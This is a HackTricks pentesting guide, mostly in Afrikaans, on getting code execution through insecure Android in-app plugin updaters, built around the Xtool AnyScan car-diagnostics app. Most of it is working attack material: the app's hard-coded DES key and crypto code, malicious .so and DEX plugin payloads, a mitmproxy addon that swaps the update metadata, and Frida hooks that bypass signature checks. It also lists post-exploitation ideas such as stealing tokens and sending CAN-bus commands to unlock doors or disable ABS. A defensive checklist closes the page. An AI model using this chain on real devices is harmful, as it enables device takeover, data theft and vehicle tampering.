Onveilige In‑App Update‑meganismes – Remote Code Execution via Malicious Plugins
Reading time: 10 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Baie Android‑toepassings implementeer hulle eie “plugin” of “dynamic feature” update‑kanale in plaas van die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan ’n aanvaller wat in staat is om update‑verkeer te onderskep of te manipuleer arbitrêre native of Dalvik/ART‑kode verskaf wat binne die app‑proses gelaai sal word, wat lei tot volledige Remote Code Execution (RCE) op die handset — en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (cars, IoT, medical devices …).
Hierdie bladsy som ’n werklike kwesbaarheidsketting saam wat in die Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android‑apps kan oudit en die wankonfigurasie kan benut tydens ’n red-team engagement.
0. Quick triage: does the app have an in‑app updater?
Statiese aanwysers om in JADX/apktool na te gaan:
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints like
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders:
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Unzip paths writing under app-internal or external storage, then immediately loading a
.so
/DEX.
Runtime hooks to confirm:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Identifisering van 'n Onveilige TLS TrustManager
- Dekompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
- Soek na 'n pasgemaakte
TrustManager
ofHostnameVerifier
wat blindelings elke sertifikaat vertrou:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Indien dit teenwoordig is, sal die toepassing enige TLS certificate aanvaar → jy kan 'n transparent MITM proxy met 'n self-signed cert laat loop:
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
As TLS pinning afgedwing word in plaas van unsafe trust-all logic, sien:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering van die Update Metadata
In die AnyScan-geval veroorsaak elke app-opstart 'n HTTPS GET na:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Die response body is 'n XML-dokument waarvan die <FileData>
nodes Base64-encoded, DES-ECB encrypted JSON bevat wat elke beskikbare plugin beskryf.
Tipiese opsporingsstappe:
- Lokaliseer die crypto routine (bv.
RemoteServiceProxy
) en bepaal:
- algoritme (DES / AES / RC4 …)
- bedryfsmodus (ECB / CBC / GCM …)
- hard-coded key / IV (gewoonlik 56‑bit DES of 128‑bit AES konstantes)
- Herimplementer die funksie in Python om die metadata te decrypt / encrypt:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Waarnemings uit die veld (2023–2025):
- Metadata is dikwels JSON-within-XML of protobuf; weak ciphers en static keys kom algemeen voor.
- Baie updaters aanvaar plain HTTP vir die werklike payload-aflaai, selfs al kom metadata oor HTTPS.
- Plugins pak gereeld uit na app-internal storage; sommige gebruik steeds external storage of die legacy
requestLegacyExternalStorage
, wat cross-app tampering moontlik maak.
3. Skep 'n Kwaadaardige Plugin
3.1 Inheemse biblioteekpad (dlopen/System.load[Library])
- Kies enige legitieme plugin ZIP en vervang die native library met jou payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Werk die JSON-metadata by sodat
"FileName" : "PWNED.zip"
en"DownloadURL"
na jou HTTP server wys. - Her-enkripteer + Base64-encode die gemodifiseerde JSON en plak dit terug in die onderskepte XML.
3.2 Dex-gebaseerde plugin-pad (DexClassLoader)
Sommige apps laai 'n JAR/APK af en laai kode via DexClassLoader
. Bou 'n kwaadwillige DEX wat by laai geaktiveer word:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
As die teiken Class.forName("pwn.Dropper")
aanroep, word jou statiese initializer uitgevoer; andersins, enumereer reflekterend die gelaaide klasse met Frida en roep 'n geëksporteerde metode aan.
4. Lewer die Payload met mitmproxy
addon.py
voorbeeld wat stilweg die oorspronklike metadata ruil:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Voer 'n eenvoudige webbediener uit om die skadelike ZIP/JAR te huisves:
python3 -m http.server 8000 --directory ./payloads
Wanneer die slagoffer die app open, sal dit:
- haal ons vervalste XML oor die MITM-kanaal;
- dekripteer & parseer dit met die hard-coded crypto;
- laai
PWNED.zip
ofplugin.jar
af → unzip binne die privaat stoorplek; - laai die ingeslote
.so
of DEX, en voer ons kode onmiddellik uit met die app se toestemmings (kamera, GPS, Bluetooth, lêerstelsel, …).
Omdat die plugin op skyf gecache word, bly die backdoor oor na herstart en word dit elke keer uitgevoer wanneer die gebruiker die verwante funksie kies.
4.1 Omseiling van signature/hash-kontroles (wanneer teenwoordig)
As die updater signatures of hashes valideer, hook die verifikasie om altyd aanvallersinhoud te aanvaar:
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Oorweeg ook om verskaffer‑metodes te stub soos PluginVerifier.verifySignature()
, checkHash()
, of om die update‑gating‑logika in Java of JNI kortsluit.
5. Ander aanvalsvlakke in opdateringsmeganismes (2023–2025)
- Zip Slip path traversal terwyl plugins uitgepak word: kwaadwillige inskrywings soos
../../../../data/data/<pkg>/files/target
oorskryf arbitrêre lêers. Saniteer altyd inskrywings‑paaie en gebruik toegangslyste. - Eksterne stoorplek staging: as die app die argief na external storage skryf voordat dit gelaai word, kan enige ander app daaraan knoei. Scoped Storage of interne app‑opberg voorkom dit.
- Onsleutelde aflaaie: metadata oor HTTPS maar die payload oor HTTP → eenvoudige MITM‑ruil.
- Onvolledige handtekeningkontroles: slegs 'n enkele lêerhash vergelyk, nie die hele argief nie; nie die handtekening aan die ontwikkelaar‑sleutel bind nie; enige RSA‑sleutel in die argief aanvaar.
- React Native / Web-based OTA content: as native bridges JS vanaf OTA uitvoer sonder streng ondertekening, is arbitrêre kode‑uitvoering in die app‑konteks moontlik (bv. onveilige CodePush‑agtige strome). Verseker detached update signing en streng verifikasie.
6. Post‑eksploitasie‑idees
- Steel sessie‑cookies, OAuth‑tokens, of JWTs wat deur die app gestoor is.
- Plaas 'n tweede‑fase APK en installeer dit stilweg via
pm install
indien moontlik (sommige apps verklaar reedsREQUEST_INSTALL_PACKAGES
). - Misbruik enige gekoppelde hardeware – in die AnyScan‑scenario kan jy arbitrêre OBD‑II / CAN‑bus opdragte stuur (deure ontsluit, ABS deaktiveer, ens.).
Opsporing- & Mitigering‑kontrolelys (blue team)
- Vermy dinamiese kode‑lading en updates buite die winkel. Verkies Play‑gemedieerde updates. As dinamiese plugins 'n harde vereiste is, ontwerp dit as data‑slegs bondels en hou uitvoerbare kode in die basis‑APK.
- Handhaaf TLS korrek: geen pasgemaakte trust‑all managers nie; implementeer pinning waar uitvoerbaar en 'n geharde network security config wat onsleutelde verkeer verbied.
- Laai nie uitvoerbare kode van buite Google Play af nie. As dit noodsaaklik is, gebruik detached update signing (bv. Ed25519/RSA) met 'n deur die ontwikkelaar gehoue sleutel en verifieer voor lading. Bind metadata en payload (lengte, hash, weergawe) en fail closed.
- Gebruik moderne kriptografie (AES‑GCM) met per‑boodskap nonces vir metadata; verwyder hard‑gekodeerde sleutels uit kliente.
- Valideer integriteit van afgelaaide argiewe: verifieer 'n handtekening wat elke lêer dek, of ten minste verifieer 'n manifest van SHA‑256‑hashes. Verwerp ekstra/onbekende lêers.
- Stoor aflaaie in app‑interne stoorplek (of Scoped Storage op Android 10+) en gebruik lêermagteigings wat kruis‑app knoeiing voorkom.
- Verdedig teen Zip Slip: normaliseer en valideer zip‑inskrywing‑paaie voor uitpak; verwerp absolute paaie of
..
segmente. - Oorweeg Play “Code Transparency” sodat jy en gebruikers kan verifieer dat die versendde DEX/native kode ooreenstem met wat jy gebou het (aanvulling, maar vervang nie APK‑handtekening nie).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.